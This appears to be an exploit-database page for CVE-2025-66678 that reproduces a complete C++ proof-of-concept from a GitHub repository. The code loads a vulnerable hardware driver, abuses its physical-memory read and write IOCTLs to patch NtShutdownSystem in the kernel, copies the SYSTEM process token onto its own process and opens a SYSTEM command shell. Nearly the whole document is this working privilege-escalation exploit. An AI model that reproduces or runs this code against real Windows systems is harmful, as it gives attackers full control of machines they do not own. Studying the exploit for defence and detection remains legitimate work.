Exploit database

GH-1fa935e66f22976051d1fa55ed9e1fb0

cwjchoi01/cve-2025-66678

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-66678

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

HardwareEditorRWPhys/HardwareEditorRWPhys/HardwareEditorRWPhys.cpp

C++ · 23,357 bytes
#include <Windows.h>
#include <psapi.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <winternl.h>

#pragma comment(lib, "ntdll")

#define PAGE_4KB 0x1000
#define PHYS_READ_CODE 0x9C406104
#define PHYS_WRITE_CODE 0x9C40A108
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004)

extern "C" NTSTATUS NTAPI RtlGetVersion(PRTL_OSVERSIONINFOW lpVersionInformation);

typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)(
    SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG
    );

SYSTEM_INFORMATION_CLASS SystemModuleInformation = (SYSTEM_INFORMATION_CLASS)11;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES
{
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;

typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;

using PEPROCESS = PVOID;
using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)(
    HANDLE     ProcessId,
    PEPROCESS* Process
    );

struct PhysicalMemoryPage
{
    DWORD Tag;
    DWORD Reserved;
    DWORD64 pBegin;
    DWORD64 pEnd;
    DWORD64 size() const { return pEnd - pBegin; }
};

#pragma pack(push, 1)
typedef struct _READ_PHYS_STRUCT
{
    PHYSICAL_ADDRESS physAddr;
    DWORD unitSize;
    DWORD count;
} READ_PHYS_STRUCT, * PREAD_PHYS_STRUCT;
#pragma pack(pop)

#pragma pack(push, 1)
typedef struct _WRITE_PHYS_STRUCT
{
    PHYSICAL_ADDRESS physAddr;
    DWORD unitSize;
    DWORD count;
    BYTE data[];
} WRITE_PHYS_STRUCT, * PWRITE_PHYS_STRUCT;
#pragma pack(pop)

typedef struct {

    DWORD64 UniqueProcessIdOffset;
    DWORD64 ActiveProcessLinksOffset;

} Offsets1;

Offsets1 myOffsets1 = { 0 };
BOOL GetOffset1() {
    // Declare the RTL_OSVERSIONINFOW structure
    RTL_OSVERSIONINFOW versionInfo = { 0 };
    versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);

    // Call RtlGetVersion to get the Windows version information
    if (RtlGetVersion(&versionInfo) == 0) {  // STATUS_SUCCESS == 0
        printf("Windows Version: %lu.%lu (Build: %lu)\n", versionInfo.dwMajorVersion, versionInfo.dwMinorVersion, versionInfo.dwBuildNumber);
    }
    else {
        printf("Failed to get Windows version.\n");
        return FALSE;
    }
    if (versionInfo.dwBuildNumber == 3790) {
        myOffsets1.UniqueProcessIdOffset = 0xd8;
        myOffsets1.ActiveProcessLinksOffset = 0xe0;
    }
    else if (versionInfo.dwBuildNumber >= 6000 && versionInfo.dwBuildNumber <= 6002) {
        myOffsets1.UniqueProcessIdOffset = 0xe0;
        myOffsets1.ActiveProcessLinksOffset = 0xe8;
    }
    else if (versionInfo.dwBuildNumber >= 7600 && versionInfo.dwBuildNumber <= 7601) {
        myOffsets1.UniqueProcessIdOffset = 0x180;
        myOffsets1.ActiveProcessLinksOffset = 0x188;
    }
    else if (versionInfo.dwBuildNumber >= 9200 && versionInfo.dwBuildNumber <= 9600) {
        myOffsets1.UniqueProcessIdOffset = 0x2e0;
        myOffsets1.ActiveProcessLinksOffset = 0x2e8;
    }
    else if (versionInfo.dwBuildNumber >= 10240 && versionInfo.dwBuildNumber <= 14393) {
        myOffsets1.UniqueProcessIdOffset = 0x2e8;
        myOffsets1.ActiveProcessLinksOffset = 0x2f0;
    }
    else if (versionInfo.dwBuildNumber >= 15063 && versionInfo.dwBuildNumber <= 17763) {
        myOffsets1.UniqueProcessIdOffset = 0x2e0;
        myOffsets1.ActiveProcessLinksOffset = 0x2e8;
    }
    else if (versionInfo.dwBuildNumber >= 18361 && versionInfo.dwBuildNumber <= 18362) {
        myOffsets1.UniqueProcessIdOffset = 0x2e8;
        myOffsets1.ActiveProcessLinksOffset = 0x2f0;
    }
    else if (versionInfo.dwBuildNumber >= 18865 && versionInfo.dwBuildNumber <= 18890) {
        myOffsets1.UniqueProcessIdOffset = 0x2f8;
        myOffsets1.ActiveProcessLinksOffset = 0x300;
    }
    else if (versionInfo.dwBuildNumber >= 19041) {
        myOffsets1.UniqueProcessIdOffset = 0x440;
        myOffsets1.ActiveProcessLinksOffset = 0x448;
    }
    else {
        myOffsets1.UniqueProcessIdOffset = 0x0;
        myOffsets1.ActiveProcessLinksOffset = 0x0;
        return FALSE;
    }
    return TRUE;
}

void* g_kmemcpy;
DWORD64 g_kAddress;
HANDLE g_hDevice;
PUCHAR g_ukAddress;
DWORD64 g_NtShutdownSystem;
DWORD64 g_kNtShutdownPhysAddress;
PHYSICAL_ADDRESS g_kNtShutdownPhysAddressPA{};
BYTE g_JMPCode[] = {
    0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
BYTE g_originalBytes[sizeof g_JMPCode]{};
DWORD64  g_tokenOffset;

using memcpy_t = void* (*)(void*, const void*, size_t);

HANDLE g_hConsole = NULL;
void printfg(const char* format, ...)
{
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(g_hConsole, &csbi);
    WORD savedAttributes = csbi.wAttributes;
    SetConsoleTextAttribute(g_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
    va_list args;
    va_start(args, format);
    vprintf(format, args);
    va_end(args);
    SetConsoleTextAttribute(g_hConsole, savedAttributes);
}

HANDLE GetDeviceHandle() {
    HANDLE Device = CreateFileW(LR"(\\.\HwRwDrv)", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
    if (Device == INVALID_HANDLE_VALUE) {
        printf("[-] Unable to obtain a handle to the device object: %u\n", GetLastError());
        ExitProcess(0);
    }
    return Device;

}

DWORD64 GetKrnlExport(const char* export_name, bool rva)
{
    NtQuerySystemInformation_t NtQuerySystemInformation =
        (NtQuerySystemInformation_t)GetProcAddress(
            GetModuleHandleA("ntdll.dll"),
            "NtQuerySystemInformation"
        );

    void* buffer = nullptr;
    ULONG size = 0;

    NTSTATUS status = NtQuerySystemInformation(
        SystemModuleInformation,
        buffer,
        size,
        &size
    );

    while (status == STATUS_INFO_LENGTH_MISMATCH)
    {
        VirtualFree(buffer, 0, MEM_RELEASE);
        buffer = VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        status = NtQuerySystemInformation(
            SystemModuleInformation,
            buffer,
            size,
            &size
        );
    }

    if (!NT_SUCCESS(status))
    {
        VirtualFree(buffer, 0, MEM_RELEASE);
        return 0;
    }

    auto modules = (PRTL_PROCESS_MODULES)buffer;

    for (ULONG i = 0; i < modules->NumberOfModules; i++)
    {
        const char* name = (char*)modules->Modules[i].FullPathName +
            modules->Modules[i].OffsetToFileName;

        if (_stricmp(name, "ntoskrnl.exe") == 0)
        {
            char* sysroot = nullptr;
            size_t len = 0;
            _dupenv_s(&sysroot, &len, "SYSTEMROOT");
            if (!sysroot)
            {
                VirtualFree(buffer, 0, MEM_RELEASE);
                return 0;
            }

            std::string fullpath = (char*)modules->Modules[i].FullPathName;
            fullpath.replace(
                fullpath.find("\\SystemRoot\\"),
                strlen("\\SystemRoot\\"),
                std::string(sysroot).append("\\")
            );

            free(sysroot);

            HMODULE usermod = LoadLibraryExA(
                fullpath.c_str(),
                NULL,
                DONT_RESOLVE_DLL_REFERENCES
            );

            if (!usermod)
            {
                VirtualFree(buffer, 0, MEM_RELEASE);
                return 0;
            }

            auto dos = (PIMAGE_DOS_HEADER)usermod;
            auto nt = (PIMAGE_NT_HEADERS)((BYTE*)usermod + dos->e_lfanew);
            auto exp = (PIMAGE_EXPORT_DIRECTORY)(
                (BYTE*)usermod + nt->OptionalHeader
                .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
                );

            auto addr = (PDWORD)((BYTE*)usermod + exp->AddressOfFunctions);
            auto nameTbl = (PDWORD)((BYTE*)usermod + exp->AddressOfNames);
            auto ord = (PWORD)((BYTE*)usermod + exp->AddressOfNameOrdinals);

            for (DWORD j = 0; j < exp->NumberOfNames; j++)
            {
                const char* fn = (char*)usermod + nameTbl[j];

                if (strcmp(fn, export_name) == 0)
                {
                    DWORD64 result = rva
                        ? (DWORD64)addr[ord[j]]
                        : (DWORD64)modules->Modules[i].ImageBase + addr[ord[j]];

                        VirtualFree(buffer, 0, MEM_RELEASE);
                        return result;
                }
            }
        }
    }

    VirtualFree(buffer, 0, MEM_RELEASE);
    return 0;
}

DWORD64 GetKernelBaseAddress() {
    DWORD cb = 0;
    LPVOID drivers[1024];
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cb)) {
        return (DWORD64)drivers[0];
    }
    return NULL;
}

DWORD GetPhysicalMemoryRanges(PhysicalMemoryPage* pages, DWORD maxPages)
{
    HKEY hKey;
    DWORD type = 0;
    DWORD size = 0;

    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
        "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory",
        0, KEY_READ, &hKey) != ERROR_SUCCESS)
        return 0;

    RegQueryValueExA(hKey, ".Translated", nullptr, &type, nullptr, &size);

    BYTE* data = new BYTE[size];
    if (RegQueryValueExA(hKey, ".Translated", nullptr, &type, data, &size) != ERROR_SUCCESS)
    {
        delete[] data;
        RegCloseKey(hKey);
        return 0;
    }

    DWORD count = *(DWORD*)(data + 16);
    if (!pages || maxPages == 0)
    {
        delete[] data;
        RegCloseKey(hKey);
        return count;
    }

    BYTE* pmi = data + 24;
    DWORD filled = 0;

    for (DWORD i = 0; i < count && filled < maxPages; i++)
    {
        DWORD64 begin = *(DWORD64*)(pmi + 0);
        DWORD64 end = *(DWORD64*)(pmi + 8);

        pages[filled].pBegin = begin;
        pages[filled].pEnd = end;
        pages[filled].Tag = 0;
        pages[filled].Reserved = 0;

        filled++;
        pmi += 20;
    }

    delete[] data;
    RegCloseKey(hKey);
    return filled;
}

BOOL ReadPhysMemory(PHYSICAL_ADDRESS physAddr, PVOID buffer, SIZE_T size)
{
    BYTE* page_data = (BYTE*)malloc(sizeof(READ_PHYS_STRUCT) + PAGE_4KB);
    if (!page_data)
        return FALSE;

    READ_PHYS_STRUCT* inputBuffer = (READ_PHYS_STRUCT*)page_data;
    inputBuffer->physAddr = physAddr;
    inputBuffer->unitSize = 1;
    inputBuffer->count = size;

    ULONG returned = 0;
    BOOL success = DeviceIoControl(
        g_hDevice,
        PHYS_READ_CODE,
        page_data,
        sizeof(READ_PHYS_STRUCT),
        page_data,
        size,
        &returned,
        NULL
    );

    if (success)
        memcpy(buffer, page_data, size);

    free(page_data);
    return success;
}


BOOL WritePhysMemory(PHYSICAL_ADDRESS physAddr, PVOID buffer, SIZE_T size)
{
    SIZE_T totalSize = sizeof(WRITE_PHYS_STRUCT) + size;
    PWRITE_PHYS_STRUCT p = (PWRITE_PHYS_STRUCT)HeapAlloc(GetProcessHeap(), 0, totalSize);
    if (!p) return FALSE;
    p->physAddr = physAddr;
    p->unitSize = 1;
    p->count = (DWORD)size;
    memcpy(p->data, buffer, size);
    ULONG returned = 0;

    BOOL ok = DeviceIoControl(
        g_hDevice,
        PHYS_WRITE_CODE,
        p,
        (DWORD)totalSize,
        NULL,
        0,
        &returned,
        NULL
    );

    HeapFree(GetProcessHeap(), 0, p);
    return ok;
}

void FindNtShutdownPhysAddress(
    DWORD64* foundAddress,
    PhysicalMemoryPage* pages,
    DWORD pageCount,
    DWORD64 NtShutdownSystemPageOffset,
    DWORD32 NtShutdownSystemRVA
)
{
    BYTE* page_data = (BYTE*)VirtualAlloc(nullptr, PAGE_4KB, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!page_data) return;

    BYTE* NtShutdownSystem = (BYTE*)(g_ukAddress + NtShutdownSystemRVA);

    for (DWORD i = 0; i < pageCount; i++)
    {
        DWORD64 begin = pages[i].pBegin;
        DWORD64 size = pages[i].size();

        for (DWORD64 offset = 0; offset < size; offset += PAGE_4KB)
        {
            if (*foundAddress != 0) {
                break;
            }

             PHYSICAL_ADDRESS pa{};
            pa.QuadPart = begin + offset;

            if (!ReadPhysMemory(pa, page_data, PAGE_4KB)) {
                continue;
            }

            if (memcmp(page_data + NtShutdownSystemPageOffset, NtShutdownSystem, 32) == 0)
            {
                *foundAddress = pa.QuadPart + NtShutdownSystemPageOffset;
                break;
            }
        }
    }

    VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}

void PrintBytes(const char* name, const void* ptr, SIZE_T size)
{
    printf("[i] %s:", name);

    const BYTE* bytes = reinterpret_cast<const BYTE*>(ptr);

    for (SIZE_T i = 0; i < size; ++i)
    {
        if (i % 8 == 0 && i != 0)
            printf("\t\t\t\t\t");
        else if (i % 8 == 0 && i == 0)
            printf("\t\t\t");

        printf("%02X ", bytes[i]);

        if ((i + 1) % 8 == 0)
            printf("\n");
    }

    if (size % 8 != 0)
        printf("\n");
}

BOOL GetTokenOffset() {
    RTL_OSVERSIONINFOW versionInfo = { 0 };
    versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);
    if (RtlGetVersion(&versionInfo) != 0) {
        printf("[-] Failed to get Windows version.\n");
        return FALSE;
    }

    if (versionInfo.dwBuildNumber == 3790) {
        g_tokenOffset = 0x160;
    }
    else if (versionInfo.dwBuildNumber >= 6000 && versionInfo.dwBuildNumber <= 6002) {
        g_tokenOffset = 0x168;
    }
    else if (versionInfo.dwBuildNumber >= 7600 && versionInfo.dwBuildNumber <= 7601) {
        g_tokenOffset = 0x208;
    }
    else if (versionInfo.dwBuildNumber >= 9200 && versionInfo.dwBuildNumber <= 9600) {
        g_tokenOffset = 0x348;
    }
    else if (versionInfo.dwBuildNumber >= 10240 && versionInfo.dwBuildNumber <= 17763) {
        g_tokenOffset = 0x358;
    }
    else if (versionInfo.dwBuildNumber >= 18361 && versionInfo.dwBuildNumber <= 18362) {
        g_tokenOffset = 0x360;
    }
    else if (versionInfo.dwBuildNumber >= 18865 && versionInfo.dwBuildNumber <= 18890) {
        g_tokenOffset = 0x370;
    }
    else if (versionInfo.dwBuildNumber >= 18894) {
        g_tokenOffset = 0x4b8;
    }
    else {
        g_tokenOffset = 0x0;
        return FALSE;
    }
    return TRUE;
}

template <class T, class... Ts>
auto syscall(void* addr, Ts... args)
{
    memcpy(g_JMPCode + 6, &addr, sizeof(void*));
    WritePhysMemory(g_kNtShutdownPhysAddressPA, g_JMPCode, sizeof(g_JMPCode));

    auto fn = reinterpret_cast<T>(g_NtShutdownSystem);
    fn(args...);
    WritePhysMemory(g_kNtShutdownPhysAddressPA, g_originalBytes, sizeof(g_originalBytes));  // restore
}

void kmemcpyWrapper(void* dst, void* src) {
    syscall<memcpy_t>(g_kmemcpy, dst, src, sizeof(DWORD64));
}

DWORD64 GetEPROCESS(DWORD64 PID, DWORD64 PsInitialSystemProcessAddr) {
    DWORD64 ProcessHead = PsInitialSystemProcessAddr + myOffsets1.ActiveProcessLinksOffset;
    DWORD64 CurrentProcessAddress = ProcessHead;

    do
    {
        DWORD64 ProcessAddress = CurrentProcessAddress - myOffsets1.ActiveProcessLinksOffset;
        DWORD64 UniqueProcessId = NULL;
        kmemcpyWrapper(&UniqueProcessId, (void*)(ProcessAddress + myOffsets1.UniqueProcessIdOffset));
        if (UniqueProcessId == PID)
        {
            break;
        }
        CurrentProcessAddress = NULL;
        kmemcpyWrapper(&CurrentProcessAddress, (void*)(ProcessAddress + myOffsets1.ActiveProcessLinksOffset));
    } while (CurrentProcessAddress != ProcessHead);


    CurrentProcessAddress -= myOffsets1.ActiveProcessLinksOffset;
    if (!CurrentProcessAddress) {
        return 0;
    }
    return CurrentProcessAddress;
}

BOOL Exploit() {
    g_hDevice = GetDeviceHandle();
    printf("[i] Successfully obtain device handle:\t0x%p\n", g_hDevice);

    DWORD64 token = NULL;

    g_kAddress = GetKernelBaseAddress();
    if (!g_kAddress) {
        printf("[-] Failed to get Kernel base Address\n");
        return FALSE;
    }

    DWORD32 kNtShutdownSystemRVA = (DWORD32)GetKrnlExport("NtShutdownSystem", true);
    DWORD64 kNtShutdownSystemPageOffset = kNtShutdownSystemRVA % PAGE_4KB;           // Get offset of NtShutdownSystem inside the memory page
    g_ukAddress = (PUCHAR)LoadLibraryA("ntoskrnl.exe");
    g_kmemcpy = (void*)GetKrnlExport("memcpy", false);
    g_NtShutdownSystem = (DWORD64)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtShutdownSystem");

    if (!kNtShutdownSystemRVA || !g_kmemcpy) {
        printf("[-] Failed to resolve Ntoskrnl functions\n");
        return FALSE;
    }
    if (!g_NtShutdownSystem) {
        printf("[-] Failed to resolve NtShutdownSystem\n");
        return FALSE;
    }
    if (!g_ukAddress) {
        printf("[-] Failed to load ntoskrnl.exe\n");
        return FALSE;
    }

    printf("[i] Kernel base address:\t\t0x%p\n", g_kAddress);
    printf("[i] User loaded kernel base address:\t0x%p\n", g_ukAddress);
    printf("[i] memcpy address:\t\t\t0x%p\n", g_kmemcpy);
    printf("[i] kNtShutdownSystemRVA:\t\t0x%p\n", kNtShutdownSystemRVA);
    printf("[i] kNtShutdownSystemPageOffset:\t0x%p\n", kNtShutdownSystemPageOffset);

    DWORD pageNum = GetPhysicalMemoryRanges(nullptr, 0);
    PhysicalMemoryPage* pages = new PhysicalMemoryPage[pageNum];
    DWORD filled = GetPhysicalMemoryRanges(pages, pageNum);
    for (DWORD i = 0; i < filled; i++)
        printf("[i] Memory Page %u:\t\t\t0x%016llX - 0x%016llX\n", i + 1, pages[i].pBegin, pages[i].pEnd);

    FindNtShutdownPhysAddress(&g_kNtShutdownPhysAddress, pages, filled, kNtShutdownSystemPageOffset, kNtShutdownSystemRVA);
    if (g_kNtShutdownPhysAddress) {
        printf("[+] NtShutdownSystem physical address:\t0x%p\n", g_kNtShutdownPhysAddress);
        g_kNtShutdownPhysAddressPA.QuadPart = g_kNtShutdownPhysAddress;
    }
    else {
        printf("[-] Failed to find NtShutdownSystem physical address\n");
    }

    ReadPhysMemory(g_kNtShutdownPhysAddressPA, g_originalBytes, sizeof(g_originalBytes));
    PrintBytes("originalBytes", g_originalBytes, sizeof(g_originalBytes));

    DWORD64 PsInitialSystemProcessOffset = (DWORD64)GetProcAddress((HMODULE)g_ukAddress, "PsInitialSystemProcess") - (DWORD64)g_ukAddress;
    if (!PsInitialSystemProcessOffset) {
        printf("[-] Failed to resolve PsInitialSystemProcess Offset\n");
        return FALSE;
    }
    printf("[+] PsInitialSystemProcess Offset:\t0x%p\n", PsInitialSystemProcessOffset);

    DWORD64 PsInitialSystemProcess = NULL;
    kmemcpyWrapper(&PsInitialSystemProcess, (void*)(g_kAddress + PsInitialSystemProcessOffset));
    if (!PsInitialSystemProcess) {
        printf("[-] Failed to resolve PsInitialSystemProcess Address\n");
        return FALSE;
    }
    printf("[+] PsInitialSystemProcess:\t\t0x%p\n", PsInitialSystemProcess);

    DWORD64 currentEPROCESS = GetEPROCESS(GetCurrentProcessId(), PsInitialSystemProcess);
    DWORD64 systemEPROCESS = GetEPROCESS(4, PsInitialSystemProcess);
    if (!currentEPROCESS || !systemEPROCESS) {
        printf("[-] Failed to retrive EPROCESS address\n");
        return FALSE;
    }
    printf("[+] Current PEPROCESS:\t\t\t0x%p\n", currentEPROCESS);
    printf("[+] System PEPROCESS:\t\t\t0x%p\n", systemEPROCESS);

    DWORD64 originalToken = NULL;
    DWORD64 systemToken = NULL;
    kmemcpyWrapper(&originalToken, (void*)(currentEPROCESS + g_tokenOffset));
    kmemcpyWrapper(&systemToken, (void*)(systemEPROCESS + g_tokenOffset));

    if (!originalToken || !systemToken) {
        printf("[-] Failed to retrieve Primary Token\n");
        return FALSE;
    }
    printf("[+] Current process Primary Token:\t0x%p\n", originalToken);
    printf("[+] System process Primary Token:\t0x%p\n", systemToken);

    kmemcpyWrapper((void*)(currentEPROCESS + g_tokenOffset), &systemToken);
    printf("[+] Token swapped\n");
    system("cmd.exe");

    kmemcpyWrapper((void*)(currentEPROCESS + g_tokenOffset), &originalToken);
    printf("[i] Token restored\n");
    delete[] pages;
    return TRUE;
}

BOOL LoadDriver(const wchar_t* driverName, const wchar_t* driverPath) {
    SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (hSCM == NULL) {
        printf("[-] Failed to open SCManager\n");
        return FALSE;
    }

    SC_HANDLE hService = CreateService(hSCM, driverName, driverName,
        SERVICE_START | DELETE | SERVICE_STOP,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        driverPath, NULL, NULL, NULL, NULL, NULL);

    if (hService == NULL) {
        printf("[-] Failed to create service\n");
        CloseServiceHandle(hSCM);
        return FALSE;
    }

    if (StartService(hService, 0, NULL)) {
        printf("[i] Driver loaded successfully\n");
    }
    else {
        printf("[-] Failed to start service\n");
        return FALSE;
    }

    CloseServiceHandle(hSCM);
    CloseServiceHandle(hService);
    return TRUE;
}

BOOL UnloadDriver(const wchar_t* driverName) {
    SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        printf("[-] Failed to open SCManager\n");
        return FALSE;
    }

    SC_HANDLE hService = OpenService(hSCM, driverName, SERVICE_STOP | DELETE);
    if (hService == NULL) {
        printf("[-] Failed to open service\n");
        CloseServiceHandle(hSCM);
        return FALSE;
    }

    SERVICE_STATUS status;
    if (ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
        printf("[i] Driver stopped successfully\n");
    }
    else {
        printf("[-] Failed to stop service\n");
        return FALSE;
    }

    if (DeleteService(hService)) {
        printf("[i] Service deleted successfully\n");
    }
    else {
        printf("[-] Failed to delete service\n");
        return FALSE;
    }

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);
    return TRUE;
}

int main(int argc, char** argv)
{
    g_hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    const wchar_t* drvName = L"HwRwDrv";
    const wchar_t* drvPath = L"C:\\Users\\Public\\HwRwDrv.sys";
    DWORD64 token = NULL;

    if (!LoadDriver(drvName, drvPath)) {
        printf("[-] Failed to Load/Start Driver\n");
        goto cleanup;
    }

    if (!GetOffset1()) {
        printf("[-] Failed to get EPROCESS offsets\n");
        goto cleanup;
    }

    if (!GetTokenOffset()) {
        printf("[-] Failed to get EPROCESS token offset\n");
        goto cleanup;
    }
    Exploit();

cleanup:
    if (!UnloadDriver(drvName)) {
        printf("[-] Failed to UnLoad Driver\n");
        return -1;
    }
    return 0;
}